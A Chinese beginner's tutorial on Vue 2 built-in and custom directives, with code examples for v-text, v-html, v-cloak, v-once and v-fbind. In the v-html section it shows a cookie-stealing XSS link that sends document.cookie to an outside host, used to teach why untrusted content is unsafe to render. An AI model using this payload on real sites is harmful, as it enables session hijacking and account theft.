初学Vue(全家桶)-第9天(vue2):常见内置指令、自定义指令

初学Vue

1、常见内置指令

  • v-bind:单向绑定解析表达式,可简写为:xxx
  • v-model:双向数据绑定
  • v-for:遍历数组、对象、字符串
  • v-on:绑定事件监听,可简写为@xxx
  • v-if:条件渲染(动态控制节点是否存在)
  • v-else:条件渲染(动态控制节点是否存在)
  • v-show:条件渲染(动态控制节点是否展示)

上面这些指令用法前面几篇文章有用过,这里就不详细展开讲了,主要讲讲前面没接触过的一些指令,如下:

  • v-text:向其所在标签渲染文本内容,并且v-text会替换掉节点文本中的内容,而插值语法不会,此外,该指令不会将传入含有标签的字符串当作标签使用。
<body>
    <div id="root">
        <div>{
   
   {name1}}<div>
        <div v-text="name2">啦啦啦啦</div>
        <div v-text="name3"></div>
    </div>
    <script>
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                name1:"小明",
                name2:"晓明",
                name3:"<span>效明</span>"
            }
        })
    </script>
</body>

结果如下:
在这里插入图片描述

  • v-html
  1. 作用:向指定节点中渲染包含html结构的内容
  2. 插值语法的区别:
    (1)v-html会替换掉节点中所有的内容,而插值语法不会
    (2)v-html可以识别html结构
  3. 注意,v-html的使用有安全性问题
    (1)在网站上动态渲染任意html是非常危险的,容易导致XSS攻击
    (2)一定要在可信任的内容上使用v-html,千万不要在用户提交的内容上使用

示例一:

<body>
    <div id="root">
        <div>{
   
   {name1}}</div>
        <div v-html="name2">啦啦啦啦</div>
        <div v-html="name3"></div>
    </div>
    <script>
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                name1:"小明",
                name2:"晓明",
                name3:"<span>效明</span>"
            }
        })
    </script>
</body>

结果如下:
在这里插入图片描述

示例二:面向“prison”编程

如果我们用v-html指令接收一个具有诱惑性的内容,如下:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../../JS/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div v-html="info"></div>
    </div>
    <script>
        new Vue({
      
      
            el:"#root",
            data:{
      
      
               info:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>我找到“有用”的资源了,快来!!!</a>"
            }
        })
    </script>
</body>
</html>

可以通过document.cookie获取到浏览器cookie中存储的数据(这里的coolie时手动设置的,直接再浏览器cookie那儿改),如下:
在这里插入图片描述


在这里插入图片描述
点击上面的超链接后,对应的服务器(这里就是百度的服务器地址)就会获取到浏览器cookie中保存的数据
在这里插入图片描述
而拿到cookie的人就可以任意的对你的个人账号进行操作,这或许也是访问不良网站被盗号的原因之一(doge)
不过现在大大多数浏览器都拒绝使用第三方cookie,也保护好了用户隐私,此外,浏览器上的cookie中的数据如果被http协议限制了,那么同样的不能拿到cookie中的数据。
在这里插入图片描述

  • v-cloak
    1、这个指令是没有值的
    2、本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
    3、通常使用css配合v-cloak可以解决网速慢时页面展示出{ {xxx}}的问题

看如下示例

<body>
    <div id="root">
        <div>{
   
   {name}}</div>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                name:"小明"
            }
        });
    </script>
</body>

当网速特别慢,页面内容不能立马加载出来时
在这里插入图片描述

在标签中加入v-cloak属性时,就不会让模板中{ {name}}先显示在页面上,然后再显示出加载出来的数据,而是等页面完全加载完成后显示数据,不会单独先显示模板中的{ {name}}。

<body>
    <style>
        [v-cloak]{
      
      
            display: none;
        }
    </style>
    <div id="root">
        <div v-cloak>{
   
   {name}}</div>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                name:"小明"
            }
        });
    </script>
</body>

具体过程如下:
在这里插入图片描述

  • v-once:没有值,使得所在节点在初次动态渲染后就看做成静态内容了,之后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
<body>
    <div id="root">
        <div v-once>页面第一次加载后就不变:{
   
   {n}}</div><br>
        <div>可以不停的加:{
   
   {n}}</div><br>
        <button @click="n++">点我n+1</button><br>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                n:0,
            }
        });
    </script>
</body>

结果参考
在这里插入图片描述

  • v-pre
    1、可以跳过所在节点的编译过程
    2、可利用它跳过没有使用指令语法、没有使用插值语法的节点,从而加快编译。

2、自定义指令

在Vue对象中添加一个配置项directives:{}

2.1 函数式自定义指令

例如:自定义一个v-big指令,和v-text功能类似,作用是将绑定的数值放大10倍。

  • 局部配置的方式
<body>
    <div id="root">
        <h3>当前的n值为:{
   
   {n}}</h3>
        <h3>放大10倍后的n值为:<span v-big="n"></span></h3>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                n:1,
            },
            // directives是自定义指令的配置属性
            directives:{
      
      
                // 自定义一个big函数,用于放大10倍
                // 该函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时
                big(element,binding){
      
      
                	// element是使用当前指令的标签,是个真实DOM,这里的值为<span></span>
                    console.log(element);       
                    // console.log(element instanceof HTMLElement); // true,证明这是个真实DOM
                   
                    // binding是一个对象
                    console.log(binding); 
                    
                    element.innerText = binding.value * 10; // binding中有个属性value,存储变化后的n值,之后再放大10倍,作为element的纯文本内容
                }
            }
        });
    </script>
</body>

binding对象中的内容如下:
在这里插入图片描述
n+1之后,浏览器控制台显示如下
在这里插入图片描述

  • 全局配置方式
<body>
    <div id="root">
        <div>当前的值为:{
   
   {n}}</div><br>
        <div>放大10倍后的n值为:<span v-big="n"></span></div><br>
        <button @click="n++">点我n加1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        // 全局配置方式
        Vue.directive("big",function(element,binding){
      
      
            element.innerHTML = binding.value * 10;
        })

        new Vue({
      
      
            el:"#root",
            data:{
      
      
                n:1,
            }
        });
    </script>
</body>

在这里插入图片描述

(1)在directives配置项中写的函数的函数名前加上v-函数名就组成了一个指令名,函数的作用就是指令的作用。
(2)指令的功能是通过操作原生DOM来实现的
(3)函数调用时机:1、指令与元素成功绑定时 2、指令所在模板需要重新解析时

2.2 对象式自定义指令

例如:自定义一个v-fbind指令,与v-bind指令作用类似,但可以让其所绑定的input元素默认获取焦点

  • 局部配置
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <script src="../../JS/vue.js"></script>
    <title>Document</title>
</head>
<body>
    <div id="root">
        <div>当前n的值为:{
   
   {n}}</div>
        <br>
        <input type="text" v-fbind="n">
        <br><br>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        new Vue({
      
      
            el:"#root",
            data:{
      
      
                n:1,
            },
            directives:{
      
      
                fbind:{
      
      
                    // 特殊时刻调用特殊函数

                    // 指令与元素进行绑定时,bing函数被调用
                    bind(element,binding){
      
      
                        console.log(this);
                        console.log("指令与元素进行绑定时,bing函数被调用");
                        element.value = binding.value;
                    },
                    // 指令所在元素被插入页面时
                    inserted(element,binding){
      
      
                        console.log(this);
                        console.log("指令所在元素被插入页面时inserted函数被调用");
                        // 插入页面时获取焦点
                        element.focus();
                    },
                    // 指令所在模板被重新解析时
                    update(element,binding){
      
      
                        console.log(this);
                        console.log("指令所在模板被重新解析时update函数被调用");
                        element.value = binding.value;
                    }
                }
            }
        });
    </script>
</body>
</html>

结果:
第一次加载页面时,bind函数和inserted函数被调用了,其中inserted函数主要用来给插入到页面的input输入框聚焦
在这里插入图片描述
点击按钮后,模板刷新,调用了update函数,n的值改变
在这里插入图片描述


分析:
(1)通过自定义指令v-fbind,可以完成给指令所在元素聚焦的功能。
(2)这里使用对象的方式完成自定义指令。在对象fbind中使用了指定的三个方法,bind(),inserted(),update(),这三个方法分别在指定时期调用。并且这三个方法的this指向的对象并不是vue,而是window。
(3)这个示例用函数式自定义指令的方式并不好实现,写成函数式时只能完成对象式中bind函数和update函数的功能,并不能完成元素插入页面后聚焦的作用。
在这里插入图片描述
函数式自定义指令时,并没有聚焦,因为这里fbind函数只在指令与元素成功绑定时,以及模板解析时调用,将input元素插入到页面的过程中并不会调用到focus函数,因此完成不了页面刷新后,所被绑定元素获取默认聚焦的功能。

  • 全局配置
<body>
    <div id="root">
        <div>当前n的值为:{
   
   {n}}</div>
        <br>
        <input type="text" v-fbind="n">
        <br><br>
        <button @click="n++">点我n+1</button>
    </div>
    <script>
        Vue.config.productionTip = false;
        // 全局配置
        Vue.directive("fbind", {
      
      

            // 特殊时刻调用特殊函数

            // 指令与元素进行绑定时,bing函数被调用
            bind(element, binding) {
      
      
                console.log(this);
                console.log("指令与元素进行绑定时,bing函数被调用");
                element.value = binding.value;
            },
            // 指令所在元素被插入页面时
            inserted(element, binding) {
      
      
                console.log(this);
                console.log("指令所在元素被插入页面时inserted函数被调用");
                // 插入页面时获取焦点
                element.focus();
            },
            // 指令所在模板被重新解析时
            update(element, binding) {
      
      
                console.log(this);
                console.log("指令所在模板被重新解析时update函数被调用");
                element.value = binding.value;
            }

        })
        new Vue({
      
      
            el: "#root",
            data: {
      
      
                n: 1,
            },
        });
    </script>
</body>

</html>

在这里插入图片描述

2.3 简单总结

一、定义语法
(1)局部指令
对象式

new Vue({
 	directives:{指令名:配置对象} 
 })

函数式

new Vue({
	directives(){}
})

(2)全局指令
对象式
Vue.directive(指令名,配置对象)
函数式
Vue.directive(指令名,回调函数)

二、配置对象中常用的三个回调函数
(1)bind:指令与元素成功绑定时调用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在函数模板结构被重新解析时调用。

三:补充*
1、指令定义时不加前缀v-,但使用时要加v-
2、指令名如果是多个单词,要使用kebab-case命名方式,就是单词全小写,中间用-分开,不要用驼峰命名法。

猜你喜欢

转载自blog.csdn.net/lalala_dxf/article/details/124968278